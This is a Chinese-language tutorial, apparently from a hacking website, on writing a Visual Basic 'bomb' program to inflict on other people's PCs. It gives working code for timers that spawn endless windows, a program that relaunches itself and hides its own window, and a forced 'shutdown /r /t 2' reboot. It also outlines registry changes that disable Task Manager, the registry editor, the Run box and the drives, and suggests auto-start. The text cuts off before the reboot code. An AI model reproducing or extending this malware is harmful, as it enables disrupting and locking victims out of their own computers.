|
新的一年又到来了，和我的朋友们都在忙着赶项目，就在我一个不小心写出了一个死循环时，想起了一种很古老的炸弹---蓝屏死机炸弹，于是我就有了写炸弹这个想法，因为我用的是C#.net，把源代码拿过来，大家想调试还要安装.net框架，于是我就想到了用VB来写，那么下面就让我们来进入正题吧。
一， 弹要实现的功能。
既然是炸弹，那当然要写的厉害些，首先就要像很久以前那个网页炸弹一样，弹出无数个窗口，这个功能是给别人打马虎眼的，让他一心想着去阻止炸弹继续的弹出窗口；第二个功能是专门针对windowsXP而做的，当然也是在2004年第12期黑防杂志上看到的---自动重启计算机（如图1），
那么下一项就是让每一个人都感到郁闷的事---修改注册表。我今天教大家写的炸弹实现的功能大部分还是靠注册表，主要的功能还是要禁止中招的人打开任务管理器，禁止使用注册表，隐藏桌面所有图标，禁止使用开始菜单里面的运行，搜索，关机，屏蔽ctrl+alt+del里的内容，禁止使用IE浏览器里的所有属性，屏蔽C盘，D盘等盘，这样的结果看上去一定很可怕，如果我们屏蔽右键或者加那么一点点的代码设成开机自动运行，那后果会是什么样的就可想而知了吧？
二， 代码实现。
下面让我们打开VB编译器，在窗体上面加3个timer控件，然后Interval属性设得尽量小点，该属性1000为1秒，我的设成了6，这样在一秒就会谈出上百个窗口了。
实现代码如下：
|
Private Sub Timer1_Timer()
Dim a As New Form1 '声明以后出现a就是代表Form1
a.Show 'Form1弹出
End Sub
Private Sub Timer2_Timer()
Shell App.EXEName '运行这个软件的本身
End Sub
然后隐藏窗体本身，书县代码如下：
Private Sub Form_Load()
Me.Hide
End Sub
| 那么在XP里自动关机是怎么回事呢？这个就是一个命令就能搞定的（shutdown /r /t 2），就是说，重新启动计算机的倒计时是2秒，这样中招的人就没有办法停止我们的shutdown了，其实到这里就可以算是一个有趣的恶作剧了。实现代码如下：
Private Sub Timer3_Timer()
|
网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！） 去网站高手技术论坛讨论...
